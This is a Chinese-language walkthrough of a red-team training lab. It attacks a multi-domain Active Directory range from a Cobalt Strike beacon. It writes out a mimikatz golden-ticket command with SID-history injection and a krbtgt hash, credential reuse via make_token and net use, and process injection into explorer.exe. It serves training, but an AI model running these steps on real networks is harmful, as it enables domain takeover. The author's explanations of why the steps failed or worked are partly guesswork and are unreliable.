六二|LiuEr
安全服务工程师
FPS--

TLS红队三期结业靶场WP

网络安全红队实战Active DirectoryBloodHoundDCSyncGolden Ticket域渗透

TLS红队三期结业靶场WP

作者：Augstern 时间：2026-01-29

0x01 前言

这次是TLS红队三期的结业靶场，考察域渗透的能力。靶场环境是一个多域的AD环境，目标是从初始的beacon拿到根域控制器上的flag。

0x02 已知信息

靶场给的初始信息：

  1. 三个域的BloodHound数据包：

    • essos.local
    • north.sevenkingdoms.local
    • sevenkingdoms.local
    • image-20260130092301418

  2. 一个初始的beacon，位置在CASTELBLACK主机上

2.1 分析BloodHound数据

导入BloodHound后分析域环境：

域拓扑结构：

SEVENKINGDOMS.LOCAL (根域)
    DC: KINGSLANDING
    SID: S-1-5-21-1876729608-785189195-56905036
    |
    +-- NORTH.SEVENKINGDOMS.LOCAL (子域)
        DC: WINTERFELL
        SID: S-1-5-21-2777810130-239143038-2961120246
        |
        +-- CASTELBLACK (成员主机)

信任关系：

  • SEVENKINGDOMS.LOCAL <-> NORTH.SEVENKINGDOMS.LOCAL (父子域，双向信任，SID过滤禁用)
  • SEVENKINGDOMS.LOCAL <-> ESSOS.LOCAL (外部信任，双向信任，SID过滤禁用)

关键配置：

  • KINGSLANDING: 无约束委派
  • WINTERFELL: 无约束委派
  • CASTELBLACK: 约束委派到WINTERFELL的HTTP服务

用户信息：

  • SAMWELL.TARLY: description字段有密码 "Heartsbane"
  • BRANDON.STARK: 配置了DONT_REQ_PREAUTH，可AS-REP Roasting
  • SQL_SVC: 有SPN，可Kerberoasting

0x03 信息收集

3.1 确认当前位置

拿到beacon后先看看当前的身份和位置：

beacon> shell whoami
castelblack\vagrant

image-20260129220315561

当前是本地用户vagrant。

beacon> shell hostname
castelblack

image-20260129220330417

主机名是CASTELBLACK，和预期一致。

3.2 网络信息

beacon> shell ipconfig

image-20260129220422608

IP地址是192.168.56.22。

测试下能不能解析根域控：

beacon> shell nslookup KINGSLANDING.SEVENKINGDOMS.LOCAL

image-20260129220441974

DNS解析正常，说明网络是通的。

3.3 测试直接访问

试试能不能直接访问根域控：

beacon> shell net view \\KINGSLANDING.SEVENKINGDOMS.LOCAL
System error 1702 has occurred.
The binding handle is invalid.

不行，当前没有有效的域凭据。

0x04 漏洞利用

4.1 第一次尝试：Golden Ticket攻击

从BloodHound数据可以看到SID过滤被禁用，理论上可以用Golden Ticket + SID History注入来提权到根域。

但是需要先拿到NORTH域的krbtgt hash。这里靶场应该是已经拿到了（可能通过DCSync或者其他方式），假设已知：

NORTH域krbtgt NTLM: eb6524f7094cafc32b523a5c5fbba3d6

生成Golden Ticket，注入Enterprise Admins的SID：

beacon> mimikatz kerberos::golden /user:Administrator /domain:north.sevenkingdoms.local /sid:S-1-5-21-2777810130-239143038-2961120246 /krbtgt:eb6524f7094cafc32b523a5c5fbba3d6 /sids:S-1-5-21-1876729608-785189195-56905036-519 /ptt

image-20260129220532792

看起来成功了，验证下票据：

beacon> mimikatz kerberos::list

image-20260129220558035

票据确实注入进去了。试试访问根域控：

beacon> ls \\KINGSLANDING.SEVENKINGDOMS.LOCAL\C$\Users
[-] could not open \\KINGSLANDING.SEVENKINGDOMS.LOCAL\C$\Users\*: 5

image-20260129220620307

错误代码5是Access Denied，还是不行。

4.2 第二次尝试：域用户凭据

试试用已知的域用户凭据：

beacon> make_token NORTH\samwell.tarly Heartsbane
[+] Impersonated CASTELBLACK\vagrant

image-20260129220651658

make_token失败了，返回的还是本地用户。

试试net use：

beacon> shell net use \\WINTERFELL.NORTH.SEVENKINGDOMS.LOCAL\C$ /user:NORTH\samwell.tarly Heartsbane

image-20260129220727562

也不行。

4.3 问题排查

这时候开始怀疑是不是beacon的权限有问题。检查下：

beacon> shell whoami /groups
ERROR: Unable to get group membership information.

image-20260129220814689

连组信息都拿不到，说明beacon的上下文确实有问题。

4.4 关键发现：进程会话

看了下进程列表：

beacon> ps

image-20260129220901459

注意到有几个关键进程：

PID   PPID  Name                 Arch  Session  User
5316  796   RuntimeBroker.exe    x64   1        CASTELBLACK\vagrant
6992  6968  explorer.exe         x64   1        CASTELBLACK\vagrant

这些进程都在Session 1（用户会话），而不是Session 0（系统会话）。

之前的beacon可能是注入到了Session 0的进程，所以没有用户的Kerberos票据。

4.5 重新注入

决定注入到explorer.exe试试，这是用户的主桌面进程，应该有完整的域凭据：

beacon> inject 6992 x64 http

image-20260129220922031

等新beacon上线后，验证下身份：

beacon> shell whoami
castelblack\vagrant

image-20260129220935184

身份还是一样的，但是上下文应该不同了。

4.6 成功访问

试试直接访问根域控：

beacon> shell dir \\KINGSLANDING.SEVENKINGDOMS.LOCAL\C$\Users

先试了5316的RuntimeBroker.exe：

image-20260129221007782

不行。

再试6992的explorer.exe：

image-20260129221058231

成功了！不需要Golden Ticket，直接就能访问根域控！

4.7 获取flag

定位flag文件：

beacon> shell dir \\KINGSLANDING.SEVENKINGDOMS.LOCAL\C$\Users\vagrant\Desktop\flag.txt

image-20260129221147485

读取flag：

beacon> shell type \\KINGSLANDING.SEVENKINGDOMS.LOCAL\C$\Users\vagrant\Desktop\flag.txt

image-20260129221207056

成功拿到flag。

0x05 总结

5.1 攻击路径

最终的攻击路径很简单：

  1. 拿到CASTELBLACK上的初始beacon
  2. 注入到Session 1的explorer.exe进程
  3. 直接访问KINGSLANDING获取flag

5.2 关键技术点

Windows会话机制

Windows有两种主要的会话：

  • Session 0：系统会话，运行系统服务，没有用户交互
  • Session 1+：用户会话，运行用户进程，有用户上下文

关键点：

Session 0（系统会话）          Session 1（用户会话）
├─ services.exe              ├─ winlogon.exe
├─ svchost.exe              ├─ explorer.exe <-- 有用户票据
├─ 系统服务                  │   ├─ cmd.exe <-- 继承票据
    └─ 没有用户票据          │   └─ 其他用户进程
                             └─ RuntimeBroker.exe <-- 也有票据

Kerberos票据继承

用户登录时，Windows会为该用户的登录会话创建Kerberos TGT。在该会话中启动的进程可以继承这些票据。

为什么Golden Ticket注入失败：

  • 虽然mimikatz成功注入了票据
  • 但是beacon进程不在正确的会话中
  • 执行shell命令时创建的新进程无法使用注入的票据

进程注入的最佳实践

选择注入目标的原则：

  1. 优先选择Session 1的进程（交互式用户会话）
  2. 优先选择用户的主进程（如explorer.exe）
  3. 确认进程以目标用户身份运行
  4. 避免注入Session 0的系统进程

5.3 经验教训

这次靶场最大的收获是理解了Windows会话机制和Kerberos票据继承的关系。之前只知道要注入到目标用户的进程，但不知道为什么有时候注入了还是不行。

现在明白了，关键不是用户身份，而是进程的会话上下文。一个在Session 0的Administrator进程，可能还不如一个在Session 1的普通用户进程有用。

另外就是不要过度依赖工具和技术。Golden Ticket、PTT这些技术很强大，但不是万能的。有时候最简单的方法反而最有效。

返回博客列表